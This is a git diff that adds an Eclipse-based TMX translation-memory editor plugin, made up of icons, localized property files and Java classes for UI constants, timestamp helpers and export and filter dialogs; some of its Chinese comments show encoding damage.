b/te/net.heartsome.cat.te.tmxeditor/images/Nonprintting.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/addSign.png b/te/net.heartsome.cat.te.tmxeditor/images/addSign.png new file mode 100644 index 0000000..4b42860 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/addSign.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/checked.gif b/te/net.heartsome.cat.te.tmxeditor/images/checked.gif new file mode 100644 index 0000000..e556e7d Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/checked.gif differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/deleteSign.png b/te/net.heartsome.cat.te.tmxeditor/images/deleteSign.png new file mode 100644 index 0000000..f421f05 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/deleteSign.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/copy.png b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/copy.png new file mode 100644 index 0000000..940c99e Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/copy.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/deleteTu.png b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/deleteTu.png new file mode 100644 index 0000000..35d2fc1 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/deleteTu.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/deleteTu_24.png b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/deleteTu_24.png new file mode 100644 index 0000000..a6a8f0d Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/deleteTu_24.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/insertTu.png b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/insertTu.png new file mode 100644 index 0000000..8327a80 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/insertTu.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/insertTu_24.png b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/insertTu_24.png new file mode 100644 index 0000000..d66c05b Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/insertTu_24.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/paste.png b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/paste.png new file mode 100644 index 0000000..24de517 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/menu/edit/paste.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/menu/qa/export.png b/te/net.heartsome.cat.te.tmxeditor/images/menu/qa/export.png new file mode 100644 index 0000000..8a2203f Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/menu/qa/export.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/tmx_16.png b/te/net.heartsome.cat.te.tmxeditor/images/tmx_16.png new file mode 100644 index 0000000..bd20b51 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/tmx_16.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/unchecked.gif b/te/net.heartsome.cat.te.tmxeditor/images/unchecked.gif new file mode 100644 index 0000000..342fa9d Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/unchecked.gif differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/addProp.png b/te/net.heartsome.cat.te.tmxeditor/images/view/addProp.png new file mode 100644 index 0000000..83fdb2b Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/addProp.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/addProp_24.png b/te/net.heartsome.cat.te.tmxeditor/images/view/addProp_24.png new file mode 100644 index 0000000..981ba83 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/addProp_24.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/deleteProp.png b/te/net.heartsome.cat.te.tmxeditor/images/view/deleteProp.png new file mode 100644 index 0000000..b4231b6 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/deleteProp.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/deleteProp_24.png b/te/net.heartsome.cat.te.tmxeditor/images/view/deleteProp_24.png new file mode 100644 index 0000000..badc1ee Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/deleteProp_24.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/editProp.png b/te/net.heartsome.cat.te.tmxeditor/images/view/editProp.png new file mode 100644 index 0000000..ab0db4f Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/editProp.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/editProp_24.png b/te/net.heartsome.cat.te.tmxeditor/images/view/editProp_24.png new file mode 100644 index 0000000..30be337 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/editProp_24.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/filter.png b/te/net.heartsome.cat.te.tmxeditor/images/view/filter.png new file mode 100644 index 0000000..9eb435b Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/filter.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/filter_24.png b/te/net.heartsome.cat.te.tmxeditor/images/view/filter_24.png new file mode 100644 index 0000000..4ad0f08 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/filter_24.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/propView.png b/te/net.heartsome.cat.te.tmxeditor/images/view/propView.png new file mode 100644 index 0000000..eb1d3aa Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/propView.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/images/view/propView_24.png b/te/net.heartsome.cat.te.tmxeditor/images/view/propView_24.png new file mode 100644 index 0000000..abbb75a Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/images/view/propView_24.png differ diff --git a/te/net.heartsome.cat.te.tmxeditor/lib/KTable.jar b/te/net.heartsome.cat.te.tmxeditor/lib/KTable.jar new file mode 100644 index 0000000..7ceb8f2 Binary files /dev/null and b/te/net.heartsome.cat.te.tmxeditor/lib/KTable.jar differ diff --git a/te/net.heartsome.cat.te.tmxeditor/plugin.properties b/te/net.heartsome.cat.te.tmxeditor/plugin.properties new file mode 100644 index 0000000..557596f --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/plugin.properties @@ -0,0 +1,10 @@ +view.PropertiesView.title = \u5c5e\u6027/\u6279\u6ce8 + +menu.addtu = \u63d2\u5165\u884c +menu.deletetu = \u5220\u9664\u884c +view.qa.title = QA \u7ed3\u679c + +toolbar.nonprintting = \u663e\u793a\u975e\u6253\u5370\u5b57\u7b26 +command.tmxeditor.propertiesView.add=\u65b0\u589e +command.tmxeditor.propertiesView.eidt=\u7f16\u8f91 +command.tmxeditor.propertiesView.delete=\u5220\u9664 diff --git a/te/net.heartsome.cat.te.tmxeditor/plugin.xml b/te/net.heartsome.cat.te.tmxeditor/plugin.xml new file mode 100644 index 0000000..d1e6807 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/plugin.xml @@ -0,0 +1,255 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.tmxeditor/plugin_en.properties b/te/net.heartsome.cat.te.tmxeditor/plugin_en.properties new file mode 100644 index 0000000..4a1603a --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/plugin_en.properties @@ -0,0 +1,10 @@ +view.PropertiesView.title = Attributes Editor + +menu.addtu = Insert Row +menu.deletetu = Delete Row +view.qa.title = QA Result + +toolbar.nonprintting = Show/hide non-printing characters +command.tmxeditor.propertiesView.add=Add +command.tmxeditor.propertiesView.eidt=Edit +command.tmxeditor.propertiesView.delete=Delete \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/plugin_zh.properties b/te/net.heartsome.cat.te.tmxeditor/plugin_zh.properties new file mode 100644 index 0000000..595562b --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/plugin_zh.properties @@ -0,0 +1,10 @@ +view.PropertiesView.title = \u5c5e\u6027/\u6279\u6ce8 + +menu.addtu = \u63d2\u5165\u884c +menu.deletetu = \u5220\u9664\u884c +view.qa.title = QA \u7ed3\u679c + +toolbar.nonprintting = \u663e\u793a\u975e\u6253\u5370\u5b57\u7b26 +command.tmxeditor.propertiesView.add=\u65b0\u589e +command.tmxeditor.propertiesView.eidt=\u7f16\u8f91 +command.tmxeditor.propertiesView.delete=\u5220\u9664 \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/Activator.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/Activator.java new file mode 100644 index 0000000..5b87185 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/Activator.java @@ -0,0 +1,69 @@ +package net.heartsome.cat.te.tmxeditor; + +import net.heartsome.cat.common.bean.ColorConfigBean; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.te.tmxeditor"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + + // TODO åˆå§‹åŒ–标记颜色é…ç½® + ColorConfigBean.getInstance().setTagBgColor(new Color(Display.getDefault(), 223, 112, 0)); + ColorConfigBean.getInstance().setTagFgColor(new Color(Display.getDefault(), 234, 234, 234)); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/TmxEditorConstanst.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/TmxEditorConstanst.java new file mode 100644 index 0000000..3d55745 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/TmxEditorConstanst.java @@ -0,0 +1,31 @@ +/** + * TmxEditorConstanst.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor; + +import java.util.regex.Pattern; + +public interface TmxEditorConstanst { + int SEGMENT_LINE_SPACING = 1; + int SEGMENT_TOP_MARGIN = 2; + int SEGMENT_BOTTOM_MARGIN = 2; + int SEGMENT_RIGHT_MARGIN = 2; + int SEGMENT_LEFT_MARGIN = 2; + + public static final char TAB_CHARACTER = '\u2192'; + public static final char LINE_SEPARATOR_CHARACTER= '\u21B2'; + public static final char SPACE_CHARACTER = '\u2219'; + public static final Pattern NONPRINTING_PATTERN = Pattern.compile("[\u2192\u21B2\u2219]+"); + + public static final String TMX_EDITOR_SHOWHIDEN_NONPRINTCHARACTER = "net.heartsome.cat.te.tmxeditor.nonPrinttingCharacter"; +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/TmxEditorUtils.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/TmxEditorUtils.java new file mode 100644 index 0000000..eb8cc42 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/TmxEditorUtils.java @@ -0,0 +1,174 @@ +/** + * TmxEditorUtils.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor; + +import java.util.ArrayList; +import java.util.Calendar; +import java.util.List; +import java.util.Locale; +import java.util.regex.Matcher; + +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.graphics.TextStyle; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.te.core.bean.TmxTemplet; + +public class TmxEditorUtils { + private static String creationTool = "Heartsome TM Server"; + + private static String creationToolVersion = "2.0-1"; + + static{ + creationTool =TmxTemplet.getProductName(); + creationToolVersion=TmxTemplet.getProductVersion(); + } + + public TmxEditorUtils() { + + } + + + public static TmxTU createTmxTu(String srcLang, String tgtLang) { + TmxTU tu = new TmxTU(); + tu.setCreationUser(System.getProperty("user.name")); + tu.setCreationDate(getTmxCreationDate()); + tu.setCreationTool(creationTool); + tu.setCreationToolVersion(creationToolVersion); + + TmxSegement srcSeg = new TmxSegement("", srcLang); + srcSeg.setCreationDate(getTmxCreationDate()); + srcSeg.setCreationTool(creationTool); + srcSeg.setCreationUser(System.getProperty("user.name")); + tu.setSource(srcSeg); + + TmxSegement tgtSeg = new TmxSegement("", tgtLang); + tgtSeg.setCreationDate(getTmxCreationDate()); + tgtSeg.setCreationTool(creationTool); + tgtSeg.setCreationUser(System.getProperty("user.name")); + tu.setTarget(tgtSeg); + + return tu; + } + + /** + * èŽ·å– tmx 创建时间 robert 2013-06-08 + * @return ; + */ + public static String getTmxCreationDate() { + + Calendar calendar = Calendar.getInstance(Locale.US); + String sec = (calendar.get(Calendar.SECOND) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.SECOND); + String min = (calendar.get(Calendar.MINUTE) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.MINUTE); + String hour = (calendar.get(Calendar.HOUR_OF_DAY) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.HOUR_OF_DAY); + String mday = (calendar.get(Calendar.DATE) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.DATE); + String mon = (calendar.get(Calendar.MONTH) < 9 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + (calendar.get(Calendar.MONTH) + 1); + String longyear = "" + calendar.get(Calendar.YEAR); //$NON-NLS-1$ + + String date = longyear + mon + mday + "T" + hour + min + sec + "Z"; //$NON-NLS-1$ //$NON-NLS-2$ + return date; + } + + /** + * å°†TU节点的属性生æˆä¸€ä¸ªå­—符串,用于显示在编辑器的属性列上。 + * @param tu + * TmxTU> + * @return ; + */ + public static String tuAttr2Str4UI(TmxTU tu) { + StringBuilder sb = new StringBuilder(); + // String creationid = tu.getCreationUser(); + // if(creationid != null && creationid.length() > 0){ + // sb.append("creationid: ").append(creationid); + // } + // String creationdate = tu.getCreationDate(); + // if(creationdate != null && creationdate.length()>0){ + // sb.append(" creationdate: ").append(DateUtils.formatDateFromUTC(creationdate)); + // } + String changedate = tu.getChangeDate(); + if (changedate != null && changedate.length() > 0) { + sb.append("changedate: ").append(DateUtils.formatDateFromUTC(changedate)); + } + + String changeid = tu.getChangeUser(); + if (changeid != null && changeid.length() > 0) { + sb.append(" changeid: ").append(changeid); + } + return sb.toString(); + } + + + public static List calculateSearchStringStyleRange(char[] source, char[] target, TextStyle style) { + int sourceOffset = 0; + int sourceCount = source.length; + int targetOffset = 0, targetCount = target.length; + + char first = target[targetOffset]; + int max = sourceOffset + (sourceCount - targetCount); + List rangeList = new ArrayList(); + for (int i = sourceOffset; i <= max; i++) { + /* Look for first character. */ + if (source[i] != first) { + while (++i <= max && source[i] != first) + ; + } + + /* Found first character, now look at the rest of v2 */ + if (i <= max) { + List tempList = new ArrayList(); + int start = i; + int j = i + 1; + int end = j + targetCount - 1; + for (int k = targetOffset + 1; j < end; j++, k++) { + Matcher matcher = PlaceHolderEditModeBuilder.PATTERN.matcher(source[j] + ""); + if (matcher.matches()) { + StyleRange range = new StyleRange(style); + range.start = start; + range.length = j - start; + start = j + 1; + k--; + end++; + if (end > sourceCount) { + break; + } + tempList.add(range); + continue; + } + if (source[j] != target[k]) { + break; + } + } + + if (j == end) { + /* Found whole string. */ + StyleRange range = new StyleRange(style); + range.start = start; + range.length = j - start; + rangeList.addAll(tempList); + rangeList.add(range); + } + } + } + return rangeList; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/ExportDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/ExportDialog.java new file mode 100644 index 0000000..9b06a50 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/ExportDialog.java @@ -0,0 +1,250 @@ +package net.heartsome.cat.te.tmxeditor.editor; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.ExportBean; +import net.heartsome.cat.te.tmxeditor.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +public class ExportDialog extends HsAbstractProgressDialog implements IRunnableWithProgress { + private Text textNewFile; + private Text textAppendFile; + + private TmxEditor editor; + private Button allFilterBtn; + private Button selectedBtn; + private Button allBtn; + + private Button newFileBtn; + private Button appendBtn; + + private Button bBtn1; + private Button bBtn2; + + /** + * Create the dialog. + * @param parentShell + */ + public ExportDialog(Shell parentShell, TmxEditor editor) { + super(parentShell); + this.editor = editor; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("Dialog.ExportDialog.dialogTitle")); //$NON-NLS-1$ + } + + @Override + public Composite createClientArea(Composite clientContainer) { + clientContainer.setLayout(new GridLayout(1, false)); + + Group group = new Group(clientContainer, SWT.NONE); + group.setLayout(new GridLayout(3, false)); + group.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + group.setText(Messages.getString("Dialog.ExportDialog.exportGroupTitle")); //$NON-NLS-1$ + + allFilterBtn = new Button(group, SWT.RADIO); + allFilterBtn.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1)); + allFilterBtn.setText(Messages.getString("Dialog.ExportDialog.allFilterRadioBtn")); //$NON-NLS-1$ + allFilterBtn.setSelection(true); + + selectedBtn = new Button(group, SWT.RADIO); + selectedBtn.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1)); + selectedBtn.setText(Messages.getString("Dialog.ExportDialog.selecteRowRadioBtn")); //$NON-NLS-1$ + + allBtn = new Button(group, SWT.RADIO); + allBtn.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1)); + allBtn.setText(Messages.getString("Dialog.ExportDialog.allTmxDbRadioBtn")); //$NON-NLS-1$ + + Group groupSave = new Group(clientContainer, SWT.NONE); + groupSave.setLayout(new GridLayout(3, false)); + groupSave.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, false, 1, 1)); + groupSave.setText(Messages.getString("Dialog.ExportDialog.saveTytpeGroupTitle")); //$NON-NLS-1$ + + newFileBtn = new Button(groupSave, SWT.RADIO); + newFileBtn.setText(Messages.getString("Dialog.ExportDialog.newTmxLabel")); //$NON-NLS-1$ + newFileBtn.setSelection(true); + newFileBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + bBtn1.setEnabled(true); + bBtn2.setEnabled(false); + } + }); + + textNewFile = new Text(groupSave, SWT.BORDER); + textNewFile.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + textNewFile.setEditable(false); + + bBtn1 = new Button(groupSave, SWT.NONE); + bBtn1.setText(Messages.getString("Dialog.ExportDialog.browserLabel")); //$NON-NLS-1$ + bBtn1.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell(), SWT.SAVE); + String[] filterExt = { "*.tmx", "*.*" }; //$NON-NLS-1$ //$NON-NLS-2$ + dlg.setFilterExtensions(filterExt); + final String filePath = dlg.open(); + if (filePath == null) { + return; + } + textNewFile.setText(filePath); + // File file = new File(filePath); + // if (file.exists()) { + // String msg = Messages.getString("tmxeditor.tmxEditorViewer.saveAsMsg1"); + // msg = MessageFormat.format(msg, filePath); + // if (!OpenMessageUtils.openConfirmMessage(msg)) { + // return; + // } + // } + } + }); + + appendBtn = new Button(groupSave, SWT.RADIO); + appendBtn.setText(Messages.getString("Dialog.ExportDialog.appendTmxLabel")); //$NON-NLS-1$ + appendBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + bBtn1.setEnabled(false); + bBtn2.setEnabled(true); + } + }); + textAppendFile = new Text(groupSave, SWT.BORDER); + textAppendFile.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + textAppendFile.setEditable(false); + + bBtn2 = new Button(groupSave, SWT.NONE); + bBtn2.setText(Messages.getString("Dialog.ExportDialog.browserLabel")); //$NON-NLS-1$ + bBtn2.setEnabled(false); + bBtn2.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell(), SWT.SINGLE | SWT.SELECTED); + String[] filterExt = { "*.tmx", "*.*" }; //$NON-NLS-1$ //$NON-NLS-2$ + dlg.setFilterExtensions(filterExt); + final String filePath = dlg.open(); + if (filePath == null) { + return; + } + textAppendFile.setText(filePath); + } + }); + return clientContainer; + } + + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + final ExportBean b = new ExportBean(); + getShell().getDisplay().syncExec(new Runnable() { + + @Override + public void run() { + int exportScope = -1; + if (allFilterBtn.getSelection()) { + exportScope = 1; + } else if (selectedBtn.getSelection()) { + exportScope = 2; + } else if (allBtn.getSelection()) { + exportScope = 3; + } + b.setExportScope(exportScope); + String filePth = null; + if (newFileBtn.getSelection()) { + filePth = textNewFile.getText(); + } else { + filePth = textAppendFile.getText(); + } + b.setTargetFile(filePth); + if (exportScope == 2) { + String[] ida = editor.getSelectIdentifiers(); + List ids = Arrays.asList(ida); + b.setSelectIds(ids); + } + b.setAppend(appendBtn.getSelection()); + } + }); + editor.getTmxDataAccess().saveAs(monitor, b); + } + + public boolean validate() { + if (newFileBtn.getSelection()) { + String filePth = textNewFile.getText(); + if (filePth == null || filePth.length() == 0) { + String msg = Messages.getString(Messages.getString("Dialog.ExportDialog.selectTmxMsg")); //$NON-NLS-1$ + OpenMessageUtils.openMessage(IStatus.INFO, msg); + return false; + } + File file = new File(filePth); + if (file.exists()) { + String msg = Messages.getString("tmxeditor.tmxEditorViewer.saveAsMsg1"); //$NON-NLS-1$ + msg = MessageFormat.format(msg, filePth); + if (!OpenMessageUtils.openConfirmMessage(msg)) { + return false; + } + } + } else { + String filePth = textAppendFile.getText(); + if (filePth == null || filePth.length() == 0) { + String msg = Messages.getString(Messages.getString("Dialog.ExportDialog.appendTmxMsg")); //$NON-NLS-1$ + OpenMessageUtils.openMessage(IStatus.ERROR, msg); + return false; + } + File file = new File(filePth); + if (!file.exists()) { + String msg = Messages.getString(Messages.getString("Dialog.ExportDialog.appendTmxNotExistMsg")); //$NON-NLS-1$ + OpenMessageUtils.openMessage(IStatus.INFO, msg); + } + } + return true; + } + + @Override + protected void okPressed() { + if (!validate()) { + return; + } + super.okPressed(); + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return new Point(548, 320); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/FilterDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/FilterDialog.java new file mode 100644 index 0000000..2d16a58 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/FilterDialog.java @@ -0,0 +1,404 @@ +/** + * FilterDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor.editor; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.utils.TmxCustomFilterUtil; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.tmxeditor.resource.Messages; + +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.CheckboxCellEditor; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.ICellModifier; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; 